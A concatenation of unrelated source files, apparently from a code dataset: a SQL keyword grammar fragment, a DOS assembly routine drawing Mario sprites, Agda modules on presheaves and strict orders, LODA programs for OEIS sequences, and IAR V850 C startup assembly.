| K_SECONDDATE | K_SERIES | K_SERIES_DISAGGREGATE | K_SERIES_DISAGGREGATE_BIGINT | K_SERIES_DISAGGREGATE_DATE
| K_SERIES_DISAGGREGATE_DECIMAL | K_SERIES_DISAGGREGATE_INTEGER | K_SERIES_DISAGGREGATE_SECONDDATE
| K_SERIES_DISAGGREGATE_SMALLDECIMAL | K_SERIES_DISAGGREGATE_SMALLINT | K_SERIES_DISAGGREGATE_TIME
| K_SERIES_DISAGGREGATE_TIMESTAMP | K_SERIES_DISAGGREGATE_TINYINT | K_SERIES_ELEMENT_TO_PERIOD | K_SERIES_FILTER
| K_SERIES_GENERATE | K_SERIES_GENERATE_BIGINT | K_SERIES_GENERATE_DATE | K_SERIES_GENERATE_DECIMAL
| K_SERIES_GENERATE_INTEGER | K_SERIES_GENERATE_SECONDDATE | K_SERIES_GENERATE_SMALLDECIMAL
| K_SERIES_GENERATE_SMALLINT | K_SERIES_GENERATE_TIME | K_SERIES_GENERATE_TIMESTAMP | K_SERIES_GENERATE_TINYINT
| K_SERIES_PERIOD_TO_ELEMENT | K_SERIES_ROUND | K_SETS | K_SHARE | K_SHORTTEXT | K_SMALLDECIMAL | K_SMALLINT
| K_SOME | K_SORT | K_SPECIFIED | K_STATIC | K_STDDEV | K_STDDEV_POP | K_STDDEV_SAMP | K_STRICT | K_STRING_AGG
| K_STRUCTURED | K_SUBSTR_REGEXPR | K_SUBSTRING_REGEXPR | K_SUBTOTAL | K_SUM | K_SYSTEM | K_SYSTEM_TIME | K_TABLE
| K_TEXT | K_TEXT_FILTER | K_THEN | K_TIME | K_TIMESTAMP | K_TINYINT | K_TO | K_TOTAL | K_TRIM | K_UNBOUNDED
| K_UNCONDITIONAL | K_UNNEST | K_UP | K_UPDATE | K_UPSERT | K_USER | K_UTF16 | K_UTF32 | K_UTF8 | K_VALUE | K_VAR
| K_VAR_POP | K_VAR_SAMP | K_VARBINARY | K_VARCHAR | K_VIEW | K_WAIT | K_WEIGHT | K_WEIGHTED_AVG | K_WITHIN
| K_WITHOUT | K_WRAPPER | K_XML | K_XMLNAMESPACE | K_XMLTABLE | K_YEAR | K_ZERO_LAG
;
|
mario.asm | mariahassan54/Super-Mario-Game-in-Assembly-Language | 0 | 81370 | <gh_stars>0
.model medium, stdcall
.stack 100h
.data
skin DB 14d
clothes1 byte 06d
clothes2 byte 04d
unique byte 13d
.code
drawMario proc x:word, y:word
push AX
push BX
push CX
push DX
push SI
push DI
mov AX, @data
mov DS, AX
mov CX, x
mov DX, y
push CX
mov ah, 0ch
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
add CX, 4
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
add CX, 4
int 10h
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, clothes2
add CX, 2
int 10h
inc CX
int 10h
inc CX
int 10h
add CX, 2
int 10h
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, skin
int 10h
inc CX
int 10h
mov al, clothes2
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, skin
int 10h
inc CX
int 10h
inc CX
int 10h
mov al, clothes2
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, skin
int 10h
inc CX
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
mov al, clothes2
int 10h
inc CX
mov al, unique
int 10h
inc CX
mov al, clothes2
int 10h
inc CX
int 10h
inc CX
mov al, unique
int 10h
inc CX
mov al, clothes2
int 10h
mov al, clothes1
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
mov al, clothes2
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
push CX
dec DX
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
mov al, clothes2
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
mov al, clothes2
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
push CX
dec DX
inc CX
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
mov al, clothes2
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
push CX
dec DX
add CX, 3
mov al, skin
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
push CX
dec DX
mov al, clothes1
inc CX
int 10h
inc CX
int 10h
inc CX
mov al, skin
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
push CX
dec DX
mov al, clothes1
inc CX
int 10h
mov al, skin
inc CX
int 10h
mov al, clothes1
inc CX
int 10h
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
mov al, clothes1
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, clothes1
inc CX
int 10h
mov al, skin
inc CX
int 10h
mov al, clothes1
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
mov al, clothes1
inc CX
int 10h
mov al, skin
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
pop CX
push CX
dec DX
mov al, clothes1
add CX, 2
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
mov al, skin
int 10h
inc CX
int 10h
inc CX
mov al, clothes1
int 10h
inc CX
mov al, skin
int 10h
inc CX
pop CX
push CX
dec DX
mov al, clothes2
add CX, 3
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
push CX
dec DX
add CX, 4
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
int 10h
inc CX
pop CX
pop DI
pop SI
pop DX
pop CX
pop BX
pop AX
ret
drawMario endp
end |
Cubical/Categories/Presheaf/Base.agda | FernandoLarrain/cubical | 1 | 11547 | {-# OPTIONS --safe #-}
module Cubical.Categories.Presheaf.Base where
open import Cubical.Foundations.Prelude
open import Cubical.Categories.Category
open import Cubical.Categories.Instances.Sets
open import Cubical.Categories.Instances.Functors
PreShv : ∀ {ℓ ℓ'} → Category ℓ ℓ' → (ℓS : Level)
→ Category (ℓ-max (ℓ-max ℓ ℓ') (ℓ-suc ℓS))
(ℓ-max (ℓ-max ℓ ℓ') ℓS)
PreShv C ℓS = FUNCTOR (C ^op) (SET ℓS)
|
oeis/003/A003261.asm | neoneye/loda-programs | 11 | 244470 | ; A003261: Woodall (or Riesel) numbers: n*2^n - 1.
; 1,7,23,63,159,383,895,2047,4607,10239,22527,49151,106495,229375,491519,1048575,2228223,4718591,9961471,20971519,44040191,92274687,192937983,402653183,838860799,1744830463,3623878655,7516192767,15569256447,32212254719,66571993087,137438953471,283467841535,584115552255,1202590842879,2473901162495,5085241278463,10445360463871,21440476741631,43980465111039,90159953477631,184717953466367,378231999954943,774056185954303,1583296743997439,3236962232172543,6614661952700415,13510798882111487
add $0,1
mov $1,2
pow $1,$0
mul $1,$0
sub $1,1
mov $0,$1
|
oeis/057/A057428.asm | neoneye/loda-programs | 11 | 83929 | <filename>oeis/057/A057428.asm
; A057428: Sign(-n): a(n) = 1 if -n > 0, = -1 if -n < 0, = 0 if n = 0.
; Submitted by <NAME>
; 0,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
cmp $0,0
sub $0,1
|
agda-stdlib-0.9/src/Relation/Binary/NonStrictToStrict.agda | qwe2/try-agda | 1 | 7569 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Conversion of ≤ to <, along with a number of properties
------------------------------------------------------------------------
-- Possible TODO: Prove that a conversion ≤ → < → ≤ returns a
-- relation equivalent to the original one (and similarly for
-- < → ≤ → <).
open import Relation.Binary
module Relation.Binary.NonStrictToStrict
{a ℓ₁ ℓ₂} {A : Set a}
(_≈_ : Rel A ℓ₁) (_≤_ : Rel A ℓ₂)
where
open import Relation.Nullary
open import Relation.Binary.Consequences
open import Function
open import Data.Product
open import Data.Sum
------------------------------------------------------------------------
-- Conversion
-- _≤_ can be turned into _<_ as follows:
_<_ : Rel A _
x < y = (x ≤ y) × ¬ (x ≈ y)
------------------------------------------------------------------------
-- The converted relations have certain properties
-- (if the original relations have certain other properties)
irrefl : Irreflexive _≈_ _<_
irrefl x≈y x<y = proj₂ x<y x≈y
trans : IsPartialOrder _≈_ _≤_ → Transitive _<_
trans po = λ x<y y<z →
( PO.trans (proj₁ x<y) (proj₁ y<z)
, λ x≈z → proj₂ x<y $ lemma (proj₁ x<y) (proj₁ y<z) x≈z
)
where
module PO = IsPartialOrder po
lemma : ∀ {x y z} → x ≤ y → y ≤ z → x ≈ z → x ≈ y
lemma x≤y y≤z x≈z =
PO.antisym x≤y $ PO.trans y≤z (PO.reflexive $ PO.Eq.sym x≈z)
antisym⟶asym : Antisymmetric _≈_ _≤_ → Asymmetric _<_
antisym⟶asym antisym (x≤y , ¬x≈y) (y≤x , ¬y≈x) =
¬x≈y (antisym x≤y y≤x)
<-resp-≈ : IsEquivalence _≈_ → _≤_ Respects₂ _≈_ → _<_ Respects₂ _≈_
<-resp-≈ eq ≤-resp-≈ =
(λ {x y' y} y'≈y x<y' →
( proj₁ ≤-resp-≈ y'≈y (proj₁ x<y')
, λ x≈y → proj₂ x<y' (Eq.trans x≈y (Eq.sym y'≈y))
)
) ,
(λ {y x' x} x'≈x x'<y →
( proj₂ ≤-resp-≈ x'≈x (proj₁ x'<y)
, λ x≈y → proj₂ x'<y (Eq.trans x'≈x x≈y)
))
where module Eq = IsEquivalence eq
trichotomous : Symmetric _≈_ → Decidable _≈_ →
Antisymmetric _≈_ _≤_ → Total _≤_ →
Trichotomous _≈_ _<_
trichotomous ≈-sym ≈-dec antisym total x y with ≈-dec x y
... | yes x≈y = tri≈ (irrefl x≈y) x≈y (irrefl (≈-sym x≈y))
... | no x≉y with total x y
... | inj₁ x≤y = tri< (x≤y , x≉y) x≉y
(x≉y ∘ antisym x≤y ∘ proj₁)
... | inj₂ x≥y = tri> (x≉y ∘ flip antisym x≥y ∘ proj₁) x≉y
(x≥y , x≉y ∘ ≈-sym)
decidable : Decidable _≈_ → Decidable _≤_ → Decidable _<_
decidable ≈-dec ≤-dec x y with ≈-dec x y | ≤-dec x y
... | yes x≈y | _ = no (flip proj₂ x≈y)
... | no x≉y | yes x≤y = yes (x≤y , x≉y)
... | no x≉y | no x≰y = no (x≰y ∘ proj₁)
isPartialOrder⟶isStrictPartialOrder :
IsPartialOrder _≈_ _≤_ → IsStrictPartialOrder _≈_ _<_
isPartialOrder⟶isStrictPartialOrder po = record
{ isEquivalence = PO.isEquivalence
; irrefl = irrefl
; trans = trans po
; <-resp-≈ = <-resp-≈ PO.isEquivalence PO.≤-resp-≈
} where module PO = IsPartialOrder po
isTotalOrder⟶isStrictTotalOrder :
Decidable _≈_ → IsTotalOrder _≈_ _≤_ → IsStrictTotalOrder _≈_ _<_
isTotalOrder⟶isStrictTotalOrder dec-≈ tot = record
{ isEquivalence = TO.isEquivalence
; trans = trans TO.isPartialOrder
; compare = trichotomous TO.Eq.sym dec-≈ TO.antisym TO.total
; <-resp-≈ = <-resp-≈ TO.isEquivalence TO.≤-resp-≈
} where module TO = IsTotalOrder tot
isDecTotalOrder⟶isStrictTotalOrder :
IsDecTotalOrder _≈_ _≤_ → IsStrictTotalOrder _≈_ _<_
isDecTotalOrder⟶isStrictTotalOrder dtot =
isTotalOrder⟶isStrictTotalOrder DTO._≟_ DTO.isTotalOrder
where module DTO = IsDecTotalOrder dtot
|
bsp/upd70f3454/drivers/cstartup.asm | Davidfind/rt-thread | 7,482 | 473 | <reponame>Davidfind/rt-thread
;-----------------------------------------------------------------------------
; This file contains the startup code used by the V850 C/C++ compiler.
;
; Copyright (c) 1998-2009 IAR Systems AB.
;
; $Revision: 5028 $
;
;-----------------------------------------------------------------------------
;
; Naming covention of labels in this file:
;
; ?xxx - External labels only accessed from assembler.
; __xxx - External labels accessed from or defined in C.
; xxx - Labels local to one module (note: this file contains
; several modules).
; main - The starting point of the user program.
;
#include "lxx.h"
#include "cfi.h"
CASEON
#define A0 R1
#define A1 R5
#define A2 R6
;---------------------------------------------------------------;
; Call Frame Informatio ;
;---------------------------------------------------------------;
CFNAMES
CFCOMMON
;---------------------------------------------------------------;
; Reset Vector ;
;---------------------------------------------------------------;
MODULE ?RESET
PUBLIC ?creset
EXTERN __program_start
COMMON INTVEC:CODE:ROOT(2)
?creset:
MOV __program_start, R1
JMP [R1]
ENDMOD
;---------------------------------------------------------------;
; Module start. ;
;---------------------------------------------------------------;
MODULE __program_start
PUBLIC __program_start
PUBLIC ?cstartup
EXTERN ?creset
REQUIRE ?creset
;---------------------------------------------------------------;
; Forward declarations of segments used in this module. ;
;---------------------------------------------------------------;
RSEG CODE:CODE:NOROOT(2)
RSEG CSTACK:DATA(2)
;---------------------------------------------------------------;
; The startup code. ;
;---------------------------------------------------------------;
RSEG CSTART:CODE:NOROOT(1)
;;
;; The startup sequence contained in the final linked
;; application will consist of a mosaic containing
;; modules and segment parts defined in this file.
;;
;; The only part which is required is the call to
;; the function "main".
;;
EXTERN ?cstart_call_main
REQUIRE ?cstart_call_main
EXTERN __cstart_low_level_init
REQUIRE __cstart_low_level_init
PUBLIC ?BTT_cstart_begin
?BTT_cstart_begin:
?cstartup:
__program_start:
;---------------------------------------------------------------;
; Set up the stack and the global pointer. ;
;---------------------------------------------------------------;
#if __CORE__ == __CORE_V850__
;; If an interrupt is issued beteween the MOVEA and
;; MOVHI instructions the SP will point into
;; nowhere. To fix this problem we build the new SP
;; value in R1 and moves it with an atomic operation
;; to SP.
MOVE_M SFE CSTACK, R1
MOV R1, SP
#else
MOVE_M SFE CSTACK, SP
#endif
EXTERN ?BREL_BASE
MOVE_M ?BREL_BASE + 0x8000, GP
EXTERN ?BREL_CBASE
MOVE_M ?BREL_CBASE + 0x8000, R25
;---------------------------------------------------------------;
; Setup constant registers. ;
;---------------------------------------------------------------;
RSEG CSTART:CODE:NOROOT(1)
PUBLIC ?INIT_REG
?INIT_REG: MOV 255, R18
ORI 65535, zero, R19
ENDMOD
;---------------------------------------------------------------;
; Initialize the saddr base pointers. ;
;---------------------------------------------------------------;
MODULE ?INIT_SADDR_BASE
RTMODEL "__reg_ep", "saddr"
RSEG CSTART:CODE:NOROOT(1)
PUBLIC ?INIT_SADDR_BASE
?INIT_SADDR_BASE:
EXTERN ?SADDR_BASE
MOVE_M ?SADDR_BASE, EP
ENDMOD
;---------------------------------------------------------------;
; If hardware must be initialized from C or if watch dog timer ;
; must be handled or if the segment init should not be ;
; performed it can now be done in `__low_level_init'. ;
;---------------------------------------------------------------;
; Call the user function __low_level_init, if defined. ;
; It is the responsibility of __low_level_init to require ;
; __cstart_low_level_init in order to be called by cstartup. ;
;---------------------------------------------------------------;
MODULE ?CSTART_LOW_LEVEL_INIT
RSEG CSTART:CODE:NOROOT(1)
PUBLIC __cstart_low_level_init
EXTERN __low_level_init
REQUIRE __low_level_init
EXTERN ?no_seg_init
__cstart_low_level_init:
CALL_FUNC __low_level_init, LP, R1
ANDI 0xFF, R1, R1
BZ ?no_seg_init
ENDMOD
;---------------------------------------------------------------;
; Segment initialization code. Copy initialized ROMmed code to ;
; RAM and ?seg_clear uninitialized variables. ;
;---------------------------------------------------------------;
MODULE ?INIT_MEMORY
;---------------------------------------------------------------;
; Zero out NEAR_Z ;
;---------------------------------------------------------------;
PUBLIC ?INIT_NEAR_Z
RSEG NEAR_Z(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_clear
?INIT_NEAR_Z:
MOVE_M SFB NEAR_Z, A0
MOVE_M SFE NEAR_Z, A1
JARL ?seg_clear, LP
;---------------------------------------------------------------;
; Zero out BREL_Z ;
;---------------------------------------------------------------;
PUBLIC ?INIT_BREL_Z
RSEG BREL_Z(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_clear
?INIT_BREL_Z:
MOVE_M SFB BREL_Z, A0
MOVE_M SFE BREL_Z, A1
JARL ?seg_clear, LP
;---------------------------------------------------------------;
; Zero out SADDR7_Z ;
;---------------------------------------------------------------;
PUBLIC ?INIT_SADDR7_Z
RSEG SADDR7_Z(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_clear
?INIT_SADDR7_Z:
MOVE_M SFB SADDR7_Z, A0
MOVE_M SFE SADDR7_Z, A1
JARL ?seg_clear, LP
;---------------------------------------------------------------;
; Zero out SADDR8_Z ;
;---------------------------------------------------------------;
PUBLIC ?INIT_SADDR8_Z
RSEG SADDR8_Z(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_clear
?INIT_SADDR8_Z:
MOVE_M SFB SADDR8_Z, A0
MOVE_M SFE SADDR8_Z, A1
JARL ?seg_clear, LP
;---------------------------------------------------------------;
; Zero out BREL23_Z ;
;---------------------------------------------------------------;
#if __CORE__ >= __CORE_V850E2M__
PUBLIC ?INIT_BREL23_Z
RSEG BREL23_Z(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_clear
?INIT_BREL23_Z:
MOVE_M SFB BREL23_Z, A0
MOVE_M SFE BREL23_Z, A1
JARL ?seg_clear, LP
#endif
;---------------------------------------------------------------;
; Zero out HUGE_Z ;
;---------------------------------------------------------------;
PUBLIC ?INIT_HUGE_Z
RSEG HUGE_Z(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_clear
?INIT_HUGE_Z:
MOVE_M SFB HUGE_Z, A0
MOVE_M SFE HUGE_Z, A1
JARL ?seg_clear, LP
;---------------------------------------------------------------;
; Copy NEAR_ID into NEAR_I ;
;---------------------------------------------------------------;
PUBLIC ?INIT_NEAR_I
RSEG NEAR_I(2)
RSEG NEAR_ID(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_copy
?INIT_NEAR_I:
MOVE_M SFB NEAR_ID, A0
MOVE_M SFE NEAR_ID, A1
MOVE_M SFB NEAR_I, A2
JARL ?seg_copy, LP
;---------------------------------------------------------------;
; Copy BREL_ID into BREL_I ;
;---------------------------------------------------------------;
PUBLIC ?INIT_BREL_I
RSEG BREL_I(2)
RSEG BREL_ID(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_copy
?INIT_BREL_I:
MOVE_M SFB BREL_ID, A0
MOVE_M SFE BREL_ID, A1
MOVE_M SFB BREL_I, A2
JARL ?seg_copy, LP
;---------------------------------------------------------------;
; Copy SADDR7_ID into SADDR7_I ;
;---------------------------------------------------------------;
PUBLIC ?INIT_SADDR7_I
RSEG SADDR7_I(2)
RSEG SADDR7_ID(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_copy
?INIT_SADDR7_I:
MOVE_M SFB SADDR7_ID, A0
MOVE_M SFE SADDR7_ID, A1
MOVE_M SFB SADDR7_I, A2
JARL ?seg_copy, LP
;---------------------------------------------------------------;
; Copy SADDR8_ID into SADDR8_I ;
;---------------------------------------------------------------;
PUBLIC ?INIT_SADDR8_I
RSEG SADDR8_I(2)
RSEG SADDR8_ID(2)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_copy
?INIT_SADDR8_I:
MOVE_M SFB SADDR8_ID, A0
MOVE_M SFE SADDR8_ID, A1
MOVE_M SFB SADDR8_I, A2
JARL ?seg_copy, LP
;---------------------------------------------------------------;
; Copy BREL23_ID into BREL23_I ;
;---------------------------------------------------------------;
#if __CORE__ >= __CORE_V850E2M__
PUBLIC ?INIT_BREL23_I
RSEG BREL23_I(1)
RSEG BREL23_ID(1)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_copy
?INIT_BREL23_I:
MOVE_M SFB BREL23_ID, A0
MOVE_M SFE BREL23_ID, A1
MOVE_M SFB BREL23_I, A2
JARL ?seg_copy, LP
#endif
;---------------------------------------------------------------;
; Copy HUGE_ID into HUGE_I ;
;---------------------------------------------------------------;
PUBLIC ?INIT_HUGE_I
RSEG HUGE_I(1)
RSEG HUGE_ID(1)
RSEG CSTART:CODE:NOROOT(1)
EXTERN ?seg_copy
?INIT_HUGE_I:
MOVE_M SFB HUGE_ID, A0
MOVE_M SFE HUGE_ID, A1
MOVE_M SFB HUGE_I, A2
JARL ?seg_copy, LP
;---------------------------------------------------------------;
; Destination label when skipping data initialization. ;
;---------------------------------------------------------------;
PUBLIC ?no_seg_init
RSEG CSTART:CODE:NOROOT(1)
?no_seg_init:
ENDMOD
;---------------------------------------------------------------;
; Calculate code distance (PIC only). ;
;---------------------------------------------------------------;
MODULE ?INIT_PIC
PUBLIC ?INIT_PIC
RSEG CSTART:CODE:NOROOT(1)
RTMODEL "__code_model", "pic"
EXTERN ?CODE_DISTANCE
EXTERN_LS_M
?INIT_PIC:
JARL ref_point, A1
ref_point: MOVE_M ref_point, A2
SUB A2, A1
;; Expands to correct store instruction/sequence.
STORE_M A1, ?CODE_DISTANCE, A2
;; Note: A1 (the value of ?CODE_DISTANCE) is used below!
ENDMOD
#if __CORE__ >= __CORE_V850E2M__
;---------------------------------------------------------------;
; Initialize the BSEL system register bank selector. ;
;---------------------------------------------------------------;
MODULE ?INIT_BSEL
RSEG CSTART:CODE:NOROOT(1)
PUBLIC ?INIT_BSEL
?INIT_BSEL:
LDSR R0, 31 ; BSEL
ENDMOD
#endif
#if __CORE__ >= __CORE_V850E__
;---------------------------------------------------------------;
; Initialize the CALLT base pointers. ;
;---------------------------------------------------------------;
MODULE ?INIT_CALLT
PUBLIC ?INIT_CALLT
EXTERN ?CALLT_BASE
COMMON CLTVEC(2)
RSEG CSTART:CODE:NOROOT(1)
RTMODEL "__cpu", "v850e"
REQUIRE ?CALLT_BASE
;; The Call table base pointer
?INIT_CALLT:
MOVE_M SFB CLTVEC, A2
#ifdef CODE_MODEL_PIC
EXTERN ?CODE_DISTANCE
REQUIRE ?CODE_DISTANCE
;; Add the value of ?CODE_DISTANCE calculated above
ADD A1, A2
#endif
#if __CORE__ >= __CORE_V850E2M__
EXTERN ?INIT_BSEL
REQUIRE ?INIT_BSEL
#endif
LDSR A2, 20 ; CTBP
ENDMOD
#endif
#if __CORE__ >= __CORE_V850E2M__
;---------------------------------------------------------------;
; Initialize the SYSCALL base pointers. ;
;---------------------------------------------------------------;
MODULE ?INIT_SYSCALL
PUBLIC ?INIT_SYSCALL
EXTERN ?INIT_BSEL
EXTERN ?SYSCALL_BASE
COMMON SYSCALLVEC(2)
RSEG CSTART:CODE:NOROOT(1)
REQUIRE ?INIT_BSEL
REQUIRE ?SYSCALL_BASE
;; The syscall table base pointer
?INIT_SYSCALL:
MOVE_M SFB SYSCALLVEC, A2
#ifdef CODE_MODEL_PIC
EXTERN ?CODE_DISTANCE
REQUIRE ?CODE_DISTANCE
;; Add the value of ?CODE_DISTANCE calculated above
ADD A1, A2
#endif
LDSR A2, 12 ; SCBP
MOVE_M ((SFE SYSCALLVEC - SFB SYSCALLVEC)/4) - 1, A2
LDSR A2, 11 ; SCCFG
ENDMOD
#endif
;---------------------------------------------------------------;
; This segment part is required by the compiler when it is ;
; necessary to call constructors of global objects. ;
;---------------------------------------------------------------;
MODULE ?CALL_MAIN
RSEG DIFUNCT(2)
RSEG CSTART:CODE:NOROOT(1)
PUBLIC ?cstart_call_ctors
EXTERN __call_ctors
?cstart_call_ctors:
MOVE_M SFB DIFUNCT, R1
MOVE_M SFE DIFUNCT, R5
CALL_FUNC __call_ctors, LP, R6
;---------------------------------------------------------------;
; Call C main() with no parameters. ;
;---------------------------------------------------------------;
RSEG CSTART:CODE:NOROOT(1)
PUBLIC ?cstart_call_main
EXTERN main
EXTERN exit
EXTERN __exit
?cstart_call_main:
CALL_FUNC main, LP, R6
;---------------------------------------------------------------;
; If we come here we have returned from main with a 'return' ;
; statement, not with a call to exit() or abort(). ;
; In this case we must call exit() here for a nice ending. ;
; Note: The return value of main() is the argument to exit(). ;
;---------------------------------------------------------------;
CALL_FUNC exit, LP, R6
;---------------------------------------------------------------;
; We should never come here, but just in case. ;
;---------------------------------------------------------------;
MOV __exit, LP
JMP [LP]
PUBLIC ?BTT_cstart_end
?BTT_cstart_end:
;---------------------------------------------------------------;
; Copy a chunk of memory. ;
; A0 = Start of from block ;
; A1 = End of from block (+1) ;
; A2 = Start of to block ;
;---------------------------------------------------------------;
PUBLIC ?seg_copy
PUBLIC ?seg_clear
RSEG CSTART:CODE:NOROOT(1)
REQUIRE done
cp_cont: LD.B 0[A0], R7
ADD 1, A0
ST.B R7, 0[A2]
ADD 1, A2
;; Note: The entry point is here.
?seg_copy: CMP A0, A1
BNE cp_cont
RSEG CSTART:CODE:NOROOT(1)
done: JMP [LP]
;---------------------------------------------------------------;
; Clear a chunk of memory. ;
; A0 = Start of block ;
; A1 = End of block (+1) ;
;---------------------------------------------------------------;
RSEG CSTART:CODE:NOROOT(1)
REQUIRE done
?seg_clear: CMP A0, A1
BE done
cl_cont: ST.B zero, 0[A0]
ADD 1, A0
BR ?seg_clear
ENDMOD
;---------------------------------------------------------------;
; _exit code ;
; ;
; Call destructors (if required), then fall through to __exit. ;
;---------------------------------------------------------------;
MODULE ?_exit
PUBLIC _exit
PUBLIC ?BTT_exit_begin
EXTERN ?exit_restore2
RSEG RCODE:CODE:NOROOT(1)
?BTT_exit_begin:
_exit:
REQUIRE ?exit_restore2
;; If any of the two pieces of code "__cstart_call_dtors"
;; or "__cstart_closeall" is called we need to save the
;; argument to "_exit". However, since we never will
;; from this function we can use a permanent register
;; rather than storing the value on the stack.
RSEG RCODE:CODE:NOROOT(1)
EXTERN ?exit_restore
PUBLIC ?exit_save
?exit_save:
REQUIRE ?exit_restore
MOV R1, R29
RSEG RCODE:CODE:NOROOT(1)
PUBLIC __cstart_call_dtors
EXTERN __call_dtors
REQUIRE ?exit_save
;; This label is required by "__record_needed_destruction".
__cstart_call_dtors:
CALL_FUNC __call_dtors, LP, R1
ENDMOD
;; A new module is needed so that a non-terminal-IO program
;; doesn't include this, which requires __putchar.
MODULE ?__cstart_closeall
RSEG RCODE:CODE:NOROOT(1)
;; When stdio is used, the following piece of code is
;; required by the _Closreg macro.
PUBLIC __cstart_closeall
EXTERN ?exit_save
REQUIRE ?exit_save
;; This label is required by _Closreg
__cstart_closeall:
EXTERN _Close_all
CALL_FUNC _Close_all, LP, R1
ENDMOD
;; Restore the argument previously stored by the "save" section
;; above.
MODULE ?_exit_end
RSEG RCODE:CODE:NOROOT(1)
PUBLIC ?exit_restore
EXTERN ?exit_restore2
?exit_restore:
REQUIRE ?exit_restore2
MOV R29, R1
ENDMOD
MODULE ?_exit_end2
PUBLIC ?BTT_exit_end
RSEG RCODE:CODE:NOROOT(1)
PUBLIC ?exit_restore2
EXTERN __exit
?exit_restore2:
MOV __exit, LP
JMP [LP]
?BTT_exit_end:
ENDMOD
;---------------------------------------------------------------;
; Define the base of the base relative (brel) data for RAM. ;
; ;
; This empty segment should be places in front of the brel ;
; RAM data segments. ;
;---------------------------------------------------------------;
MODULE ?BREL_BASE
PUBLIC ?BREL_BASE
RSEG BREL_BASE:DATA:NOROOT(2)
?BREL_BASE:
ENDMOD
;---------------------------------------------------------------;
; Define the base of the base relative (brel) data for ROM. ;
; ;
; This empty segment should be places in front of the brel ;
; ROM data segment. ;
;---------------------------------------------------------------;
MODULE ?BREL_CBASE
PUBLIC ?BREL_CBASE
RSEG BREL_CBASE:CONST:NOROOT(2)
?BREL_CBASE:
ENDMOD
;---------------------------------------------------------------;
; Define the base of the short addressing (saddr) data. ;
; ;
; This empty segment should be places in front of the saddr ;
; data segments. ;
;---------------------------------------------------------------;
MODULE ?SADDR_BASE
RTMODEL "__reg_ep", "saddr"
PUBLIC ?SADDR_BASE
RSEG SADDR_BASE:CONST:NOROOT(2)
EXTERN ?INIT_SADDR_BASE
REQUIRE ?INIT_SADDR_BASE
?SADDR_BASE:
ENDMOD
;---------------------------------------------------------------;
; The base of the CALLT vector. ;
;---------------------------------------------------------------;
MODULE ?CALLT_BASE
PUBLIC ?CALLT_BASE
COMMON CLTVEC:CONST:NOROOT(2)
DATA
?CALLT_BASE:
ENDMOD
#if __CORE__ >= __CORE_V850E2M__
;---------------------------------------------------------------;
; The base of the SYSCALL vector. ;
;---------------------------------------------------------------;
MODULE ?SYSCALL_BASE
PUBLIC ?SYSCALL_BASE
COMMON SYSCALLVEC:CONST:NOROOT(2)
DATA
